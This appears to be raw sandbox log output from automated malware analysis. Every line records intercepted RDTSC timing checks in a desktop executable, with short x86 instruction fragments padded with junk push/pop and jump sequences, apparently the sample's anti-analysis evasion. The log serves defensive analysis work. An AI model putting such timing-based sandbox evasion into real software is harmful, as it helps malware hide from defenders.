Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A4D41 second address: 4A4D53 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE311181216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A5416 second address: 4A5447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jp 00007FE310CDC396h 0x0000000b jnp 00007FE310CDC396h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007FE310CDC396h 0x0000001a jmp 00007FE310CDC3A7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A5447 second address: 4A544B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A544B second address: 4A547C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE310CDC3A5h 0x0000000f jng 00007FE310CDC3A2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A547C second address: 4A548E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FE31118121Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4A94BC second address: 4A94D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE310CDC3A2h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4AD097 second address: 4AD09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4AD09D second address: 4AD0A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4AD0A1 second address: 4AD0B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FE311181216h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4AD0B3 second address: 4AD0CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4AD3E9 second address: 4AD3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4BDB3C second address: 4BDB40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4BDB40 second address: 4BDB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FE311181216h 0x0000000d jmp 00007FE311181227h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4C0A07 second address: 4C0A5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FE310CDC39Ch 0x0000000f jmp 00007FE310CDC39Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE310CDC3A9h 0x0000001b jmp 00007FE310CDC39Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4C06DA second address: 4C06E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FE31118121Eh 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4CD510 second address: 4CD516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4CD3AD second address: 4CD3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4CD3B5 second address: 4CD3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE310CDC396h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4CD3C0 second address: 4CD3C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4CD3C6 second address: 4CD3CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D5083 second address: 4D50AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE31118121Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007FE311181223h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D50AB second address: 4D50B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D5208 second address: 4D5225 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE311181216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007FE311181218h 0x00000012 pushad 0x00000013 jo 00007FE311181216h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D5225 second address: 4D5230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D5230 second address: 4D526B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE311181226h 0x00000009 jmp 00007FE31118121Ch 0x0000000e jmp 00007FE311181224h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D5798 second address: 4D579D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D9838 second address: 4D983C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D983C second address: 4D9855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE310CDC39Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D9855 second address: 4D9859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D9859 second address: 4D985D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D985D second address: 4D988D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE31118121Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE311181223h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007FE311181222h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D988D second address: 4D989B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE310CDC396h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D989B second address: 4D98A7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE311181216h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D98A7 second address: 4D98B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE310CDC39Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D98B9 second address: 4D98BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4D99FD second address: 4D9A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FE310CDC396h 0x0000000f jc 00007FE310CDC396h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4E85E8 second address: 4E85F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE31118121Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4E85F7 second address: 4E860C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC39Fh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4E61FA second address: 4E6202 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4E6202 second address: 4E620E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4F7904 second address: 4F7914 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FE311181216h 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4F7914 second address: 4F792E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE310CDC3A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4FA589 second address: 4FA5CE instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE311181216h 0x00000008 jmp 00007FE31118121Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FE311181225h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE311181229h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4FA5CE second address: 4FA5E1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE310CDC39Ch 0x00000008 jc 00007FE310CDC396h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4FA5E1 second address: 4FA5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FE311181216h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4FA289 second address: 4FA28D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4FA28D second address: 4FA2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FE31118121Ch 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4FA2A4 second address: 4FA2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4FA2AD second address: 4FA2B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 4FA2B3 second address: 4FA2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnp 00007FE310CDC3B0h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 511DC0 second address: 511DC6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 511DC6 second address: 511DCB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 510E23 second address: 510E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 511107 second address: 511117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FE310CDC396h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 511247 second address: 51124B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 51124B second address: 511271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FE310CDC3A0h 0x0000000e jmp 00007FE310CDC39Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007FE310CDC396h 0x0000001b jnp 00007FE310CDC396h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 51195C second address: 511962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 511962 second address: 511966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 511AC1 second address: 511AC7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 511AC7 second address: 511ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 511ACD second address: 511AD8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jne 00007FE311181216h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 51620A second address: 51620F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 517B9D second address: 517BD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181229h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FE311181216h 0x00000013 jmp 00007FE31118121Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 517BD3 second address: 517C00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FE310CDC3B2h 0x0000000f jc 00007FE310CDC39Ch 0x00000015 jbe 00007FE310CDC396h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 517C00 second address: 517C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0C27 second address: 52C0C42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0C42 second address: 52C0C60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE31118121Fh 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52C0C60 second address: 52C0C77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 529094B second address: 5290972 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE311181225h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5290972 second address: 52909D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE310CDC3A7h 0x00000008 mov dh, cl 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FE310CDC3A2h 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 mov esi, 69B6710Dh 0x0000001a jmp 00007FE310CDC39Ah 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FE310CDC3A7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52909D1 second address: 52909E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE311181224h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52909E9 second address: 52909ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E02DC second address: 52E02E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E02E2 second address: 52E02E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E02E6 second address: 52E031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, di 0x0000000f pushfd 0x00000010 jmp 00007FE31118121Fh 0x00000015 jmp 00007FE311181223h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E031A second address: 52E0340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E0340 second address: 52E034F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE31118121Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52E034F second address: 52E03AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE310CDC3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FE310CDC39Eh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FE310CDC39Dh 0x0000001c add esi, 5B35A6B6h 0x00000022 jmp 00007FE310CDC3A1h 0x00000027 popfd 0x00000028 mov ax, E4A7h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52509C7 second address: 52509D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE31118121Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52509D6 second address: 52509DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52509DC second address: 52509E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52509E0 second address: 52509F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE310CDC39Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 52509F8 second address: 5250A5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007FE31118121Ch 0x00000010 pushfd 0x00000011 jmp 00007FE311181222h 0x00000016 jmp 00007FE311181225h 0x0000001b popfd 0x0000001c pop ecx 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 mov esi, 5F3FD43Fh 0x00000026 mov eax, 5F67755Bh 0x0000002b popad 0x0000002c push dword ptr [ebp+04h] 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5250A5D second address: 5250A63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5250A63 second address: 5250A82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE311181222h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5250A82 second address: 5250A88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5250A88 second address: 5250A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5250A8E second address: 5250A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	RDTSC instruction interceptor: First address: 5250A92 second address: 5250AB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE311181224h 0x00000014 rdtsc
